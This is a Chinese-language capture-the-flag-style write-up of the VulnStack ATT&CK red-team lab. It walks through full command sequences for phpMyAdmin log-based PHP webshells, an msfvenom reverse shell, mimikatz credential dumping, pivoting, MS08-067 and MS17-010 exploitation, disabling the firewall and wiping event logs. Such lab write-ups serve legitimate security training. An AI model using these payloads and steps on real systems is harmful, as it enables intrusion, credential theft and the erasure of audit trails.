VulnStack - ATT&CK红队评估实战(一) Writeup

环境搭建

  • 项目地址

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

  • 网络拓扑

环境说明

下载回来有三个虚拟机:

  • VM1: vulnstack-win7
  • VM2: vulnstack-Win2K3 Metasploitable
  • VM3: vulnstack-winserver08

提供的是VMware直接打包的虚拟机文件(.vmdk),使用VMWare的根据官方提供的截图配置就可以了,由于我是Linux环境,装的是VirtualBox,需要稍作调整,根据项目截图的网络配置:

  • 192.168.54.0/24: Web服务环境,在VBox中用Host-only Adapter(主机模式)
  • 192.168.72.0/24: 域内网环境,在VBox中用Internal(内网模式)

宿主机充当测试机,这里只配置三台虚拟机网络就可以了,Host-only Adapter直接在菜单栏里添加,Internal在网卡适配器填入相同的名称,比如intnet0,网卡配置:

  • vulnstack-win7: intnet0、vboxnet0
  • vulnstack-Win2K3 Metasploitable: intnet0
  • vulnstack-winserver08: intnet0

由于没有快照文件,使用VirtualBox各建一个虚拟机附加相应的.vmdk文件,然后在网卡配置选择对应的模式和网络。

接着登录各个VM设置固定IP,内网域成员主机网卡DNS地址指向域控IP地址,三个VM的IP分别为:

  • VM1(Win7): 192.168.54.3(vboxnet0)、192.168.72.104(intnet0)
  • VM2(W2003): 192.168.72.103(intnet0)
  • VM3(W2008): 192.168.72.102(intnet0)

由于VM2和VM3都在内网,要对其进行渗透首先得拿下VM1 Web服务器的权限,再作为跳板进入内网横向移动。各个VM都有着比较多的服务,这里只挑比较容易的来练习,主要是获取服务器SYSTEM权限。

本文使用到的工具:

注意事项:

  • VM1(Win7)的Web服务需要进去手动启动phpStudy(C:/phpStudy);
  • VM2(Win2003)的.vmdk拷过来附加到VirtualBox发生MBR引导错误出现:error loading operating system,用GHOST复制修复一下虚拟磁盘,如果启动蓝屏,试试勾选APIC (虚拟机配置System选项)和把接口改为SCSI

如果Win2003如果开机发现没有域登录选项,需要重新手动加入域,登录界面才有域登录选项:

漏洞利用

端口扫描 & Web目录扫描

使用nmap对VM1(192.168.54.3)进行端口扫描:

1
2
3
4
5
6
7
8
$ nmap 192.168.54.3

Nmap scan report for 192.168.54.3
Host is up (0.00044s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
80/tcp open http
3306/tcp open mysql

80端口打开就是一个探针页面:

再进一步收集Web目录和文件信息:

1
$ python3 dirmap.py -i http://192.168.54.3 -lcf

发现phpinfo.phpphpmyadminbeifen.rar等信息。

phpMyAdmin GetShell

直接root/root弱口令登录成功。

  1. 由于在探针知道绝对路径为:C:/phpStudy/WWW,查看secure_file_priv,看是否可以使用导出写WebShell:
1
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpStudy/WWW/z.php';
1
show global variables like '%secure%';

显示为NULL,表示限制,不允许导入导出。

注意:这个配置需要在 my.ini 文件修改。

  1. 使用日志写Shell
1
show variables  like  '%general%';

general_log显示为OFF,尝试开启并更改日志目录:

1
2
3
set global general_log=on;

set global general_log_file='C:/phpStudy/WWW/z.php';

写WebShell,顺便关闭日志:

1
2
3
SELECT '<?php eval($_POST["cmd"]);?>';

SET GLOBAL general_log = off;

antSword连上:

CMS后台GetShell

接着再看一下beifen.rar这个文件,下载解压后是个yxcms文件夹,访问yxcms目录正是站点,直奔后台:

1
http://192.168.54.3/yxcms/index.php?r=admin/index/login

尝试admin/123456弱口令登录成功,然后在模板文件管理直接写Shell就可以了:

内网搜集

结合WebShell反弹Shell到MSF进行内网渗透:

1
$ msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.54.1 lport=5555 -f exe > shell.exe

使用antSword上传shell.exe到Web服务器,然后在终端执行:

1
2
3
4
5
6
7
8
9
10
11
$ msfconsole

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set lhost 192.168.54.1

msf5 exploit(multi/handler) > set lport 5555

msf5 exploit(multi/handler) > exploit

Administrator权限,直接getsystem提权:

1
meterpreter > getsystem

使用mimikatz抓hash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
meterpreter > load mimikatz
meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : stu1.god.org
BootKey : fd4639f4e27c79683ae9fee56b44393f

Rid : 500
User : Administrator
LM :
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0

Rid : 501
User : Guest
LM :
NTLM :

Rid : 1000
User : liukaifeng01
LM :
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0

wdigest明文密码:

1
2
3
4
5
6
7
8
9
10
11
meterpreter > wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials
===================

AuthID Package Domain User Password
------ ------- ------ ---- --------
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;25306 NTLM
0;248138 Kerberos GOD Administrator Hongrisec@2019

注意: 使用mimikatz抓明文之前先将PID迁移得到64位进程上,不然可能导致抓不到明文。

1
meterpreter > migrate 400   #  400 是 winlogon.exe 的 PID

端口信息收集

ifconfig /all得知Web服务器有两个网卡,为了方便,直接上传Ladon进行内网主机端口信息收集:

1
2
3
4
5
6
7
meterpreter > upload /root/Tools/Ladon/Ladon.exe C:/phpStudy/backup

meterpreter > shell

C:\Windows\system32>cd C:/phpStudy/backup

C:\phpStudy\backup>Ladon.exe 192.168.72.1/24 PortScan

得到2个存活主机,主要开放端口:

1
2
3
4
5
6
7
8
192.168.72.102 80       Default is Web
192.168.72.102 389 Default is LDAP
192.168.72.102 445 Default is SMB

192.168.72.103 21 Default is FTP -> 220 Microsoft FTP Service
192.168.72.103 7001 Default is Weblogic
192.168.72.103 7002 Maybe is Weblogic
192.168.72.103 445 Default is SMB

横向渗透

系统指纹识别

从端口判断102可能是主域机器,103是域成员,使用Ladon192.168.72.103系统指纹识别:

1
2
3
4
5
6
7
8
9
10
C:\phpStudy\backup>Ladon.exe 192.168.72.103 OsScan
Ladon.exe 192.168.72.103 OsScan
Ladon 6.0
By K8gege
Start: 2020/2/20 14:16:10
192.168.72.103
load OsScan
IP Mac Domain/HostName OSversion/Service Vendor
192.168.72.103 08-00-27-D4-EE-57 god.org\ROOT-WIN2003 [Win 2003 3790]
IP Finished!

是台Win2003,开了445端口,尝试拿MS08-067打。

添加路由

首先添加路由,使用Web服务器作为跳板访问Win2003

1
2
3
meterpreter > run autoroute -s 192.168.72.0/24

meterpreter > run autoroute -p

Bind TCP

接着MS08-067搭配Bind TCP使用:

1
2
3
4
5
6
7
8
9
meterpreter > background 

msf5 exploit(multi/handler) > use exploit/windows/smb/ms08_067_netapi

msf5 exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.72.103

msf5 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp

msf5 exploit(windows/smb/ms08_067_netapi) > exploit

成功反弹Shell回来,抓下hash:

1
2
3
4
5
6
7
8
9
10
11
12
13
meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : root-win2003.god.org
BootKey : 5d587d9451170f6b9b246da09ad82ab9

Rid : 500
User : Administrator
LM : a9a1d510b01177d1aad3b435b51404ee
NTLM : afc44ee7351d61d00698796da06b1ebf

Rid : 501
User : Guest
LM :
NTLM :

mimikatz明文没抓成功,开始缺少fltlib.dll,打上能运行,抓明文报错,换wce.exe也运行报错,可能是我这里环境问题。

构建通道

端口转发

扫描端口的时候103开放了21端口,使用MSF进行端口转发到本地,回到MSF session 1 (Win7):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
meterpreter > background 
[*] Backgrounding session 2...
msf5 exploit(windows/smb/ms08_067_netapi) > sessions 1
[*] Starting interaction with 1...
meterpreter > portfwd add -L 192.168.54.1 -l 2121 -p 21 -r 192.168.72.103
[*] Local TCP relay created: 192.168.54.1:2121 <-> 192.168.72.103:21
meterpreter > portfwd list

Active Port Forwards
====================

Index Local Remote Direction
----- ----- ------ ---------
1 192.168.54.1:2121 192.168.72.103:21 Forward

1 total active port forwards.

本地访问

192.168.72.10321端口转发到192.168.54.12121端口,在攻击机上直接访问:

ftp://192.168.54.1:2121

渗透域控

MS17-010

前面扫描端口开着445,验证有MS17-010漏洞,尝试拿exploit/windows/smb/ms17_010_eternalbluewindows/x64/meterpreter/bind_tcp直接打192.168.72.102,很耗时,而且session很大概率直接就died了。

exploit/windows/smb/ms17_010_psexec出现了Exploit completed, but no session was created.,没有session。

  • 系统防火墙

估计是被防火墙干掉了,尝试用ms17_010_command先关掉它:

1
2
3
4
5
6
7
msf5 exploit(windows/smb/ms17_010_psexec) > use auxiliary/admin/smb/ms17_010_command

msf5 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.72.102

msf5 auxiliary(admin/smb/ms17_010_command) > set command "netsh advfirewall set allprofiles state off"

msf5 auxiliary(admin/smb/ms17_010_command) > exploit

  • MS17-010 和 Bind TCP

接着再拿ms17_010_psexecbind_tcp打一次:

1
2
3
4
5
6
7
msf5 exploit(windows/smb/ms17_010_psexec) > use exploit/windows/smb/ms17_010_psexec

msf5 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.72.102

msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/x64/meterpreter/bind_tcp

msf5 exploit(windows/smb/ms17_010_psexec) > exploit

成功反弹获取session。

  • 抓取明文信息

使用mimikatz抓取明文密码:

1
2
3
meterpreter > load mimikatz

meterpreter > wdigest

清理痕迹

  • 删除添加的域管理账号(这里没有添加);
  • 删除服务器上渗透上传的工具;
  • 删除应用程序、系统和安全日志;
1
2
3
4
meterpreter > clearev
[*] Wiping 1474 records from Application...
[*] Wiping 4836 records from System...
[*] Wiping 41363 records from Security...
  • 断开MSF等连接;
  • 其他。

总结

这次的靶机环境比较简单,只是用MSF配合一些小工具使用,归纳下前面的漏洞利用:

  • phpMyAdmin弱口令配合探针信息(WWW绝对路径)日志写Shell;
  • CMS后台弱口令配合后台模板管理写Shell;
  • 备份文件文件泄漏数据库配置和CMS源码等信息;
  • 内网主机未打补丁,可以直接远程获取系统权限(MS08-067、MS17-010)。

主机上还有些其他的服务,比如FTPWeblogicLDAP等可能存在漏洞,信息收集可以看看浏览器有没有保存密码什么的,mimikatz抓不到明文看看是不是64位机子加载到32位版本了,payload打过去异常可以换一个试试或者看看是不是防火墙的影响什么的,总之,没有一成不变的办法,遇到问题还要多分析。